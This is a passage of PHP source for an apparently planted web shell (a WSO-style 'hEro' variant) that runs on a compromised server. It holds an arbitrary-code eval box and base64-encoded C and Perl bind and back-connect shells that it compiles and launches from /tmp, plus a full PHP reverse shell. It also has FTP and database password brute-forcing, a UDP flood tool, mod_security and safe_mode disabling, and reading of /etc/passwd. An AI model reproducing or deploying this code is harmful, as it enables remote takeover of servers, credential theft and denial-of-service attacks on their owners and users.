if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=#000000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
hEroFooter();
}
function hErophpeval()
{
hErohead();
if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr>'
.'<td class="listing"><font class="highlight_txt">Param</td>'
.'<td class="listing"><font class="highlight_txt">Global value</td>'
.'<td class="listing"><font class="highlight_txt">Local Value</td>'
.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "
".'<tr>'
.'<td class="listing"><b>'.$param.'</td>'
.'<td class="listing">'.$values['global_value'].' </td>'
.'<td class="listing">'.$values['local_value'].' </td>'
.'<td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions ();
print '<table border=0><tr><td class="listing">'
.implode('</td></tr>'."
".'<tr><td class="listing">', $EXT)
.'</td></tr></table>'
.count($EXT).' extensions loaded';
echo '</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| <b>INI_INFO</b> | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')"> | <b>PHP INFO</b> |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')"> | <b>Extensions</b> |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
hErofooter();
}
function hEronet() {
hErohead();
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
?>
<h1><font color="#32CD32">Bind Port</font></h1><div class=content>
<form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
<span>Bind port to /bin/sh</span><br/><font color="#32CD32">
Port:
<input type='text' name='port' value='31337' style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"> Password:
<input type='text' name='pass' value='wso' style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000" > Using:
<select name="using" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000" ><option value='bpc'>C</option><option value='bpp'>Perl</option></select>
<input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000">
</font></form>
<form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
<span>Back-connect to</span><br/> <font color="#32CD32">
Server:
<input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>' style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"?> Port:
<input type='text' name='port' value='31337' style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select>
<input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000">
</font></form><br>
<?php
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists('file_put_contents');
if($w) {
@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpc') {
cf("/tmp/bp.c",$bind_port_c);
$out = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
}
if($_POST['p1'] == 'bcc') {
cf("/tmp/bc.c",$back_connect_c);
$out = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
}
}
echo '</div>';
hErofooter();
}
function hErohash()
{
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'Htmlspecialchars' => 'htmlspecialchars',
);
hErohead();
echo '<div class=header>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo "</div>";
hEroFooter();
}
function hErobrute() {
hErohead();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
$res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1><font color=yellow>FTP bruteforce</font></h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'><td><label><font color=#0000FF<input type=radio name=type value="1" checked> /etc/passwd</font></label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><font color=#0000FF><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><font color=#0000FF><input type=radio name=type value="2"> Dictionary</font></label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="hEro" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></td></tr></table>'
.'</td></tr><tr><td></td><td>
<input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></td></tr></form></table>';
echo '</div><br>';
hEroFooter();
}
function hErodos()
{
hErohead();
echo '<div class=header>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text" size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input type="submit" value=">>" /></form></center>';
echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";
if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))
{
$packets=0;
ignore_user_abort(true);
$exec_time=$_POST['p2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['p1'];
$portudp=$_POST['p3'];
for($i=0;$i<65000;$i++)
{
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
echo "</pre>";
}
echo '</div>';
hErofooter();
}
function hEroproc()
{
hErohead();
echo "<Div class=header><center>";
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win")
{
$process=array(
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
}
else
{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Passwd" =>"cat /etc/passwd",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab",
"HDD Space" => "df -h"
);}
foreach($process as $n => $link)
{
echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | <b>'.$n.'</b> | </a></br></br>';
}
echo "</center>";
if(!empty($_POST['p1']))
{
echo "<pre class='ml1' style='margin-top:5px' >";
echo hEroEx($_POST['p1']);
echo '</pre>';
}
echo "</div>";
hErofooter();
}
function hErosafe()
{
hErohead();
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>";
echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
if(!empty($_POST['p2']) && isset($_POST['p2']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
fclose($fil);
}
if(!empty($_POST['p1'])&& isset($_POST['p1']))
{
$fil=fopen($GLOBALS['cwd']."php.ini","w");
fwrite($fil,'safe_mode=OFF
disable_functions=NONE');
fclose($fil);
}
if(!empty($_POST['p3']) && isset($_POST['p3']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl');
fclose($fil);
}
echo "<br></div>";
hErofooter();
}
function hEroconnect()
{
hErohead();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
echo "<form onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";
echo "<br><form onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = hEroEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>";
@unlink("/tmp/bc.pl");
}
if($_POST['p1']=='php')
{
@set_time_limit (0);
$ip = $_POST['p2'];
$port =$_POST['p3'];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
echo "<pre class=ml1 style='margin-top:5px'>";
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "Cant fork!<br>";
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
echo "Error: Can't setsid()<br>";
exit(1);
}
$daemon = 1;
} else {
echo "WARNING: Failed to daemonise. This is quite common and not fatal<br>";
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can't spawn shell<br>";
exit(1);
}
@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);
echo "Successfully opened reverse shell to $ip:$port<br>";
while (1) {
if (feof($sock)) {
echo "ERROR: Shell connection terminated<br>";
break;
}
if (feof($pipes[1])) {
echo "ERROR: Shell process terminated<br>";
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) echo "SOCK READ<br>";
$input=fread($sock, $chunk_size);
if ($debug) echo "SOCK: $input<br>";
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) echo "STDOUT READ<br>";
$input = fread($pipes[1], $chunk_size);
if ($debug) echo "STDOUT: $input<br>";
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) echo "STDERR READ<br>";
$input = fread($pipes[2], $chunk_size);
if ($debug) echo "STDERR: $input<br>";
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "</pre>";
}
}
echo "</div>";
hErofooter();
}
function hErohEro()
{
hErohead();
echo"<center><b><font color=#0000FF size=7 face=Georgia, Arial>=.+.=</br>Developed by BLACK.JaGuAr & hatrk</font></b></center>";
hErofooter();
}
function hErosymlink()
{
hErohead();
$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains |</br> </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| ls -n /sym| </br></a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';
if(isset($_POST['p1']) && $_POST['p1']=='website')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }
echo "<table align=center class='main' border=0 >
<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
$count=1;
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
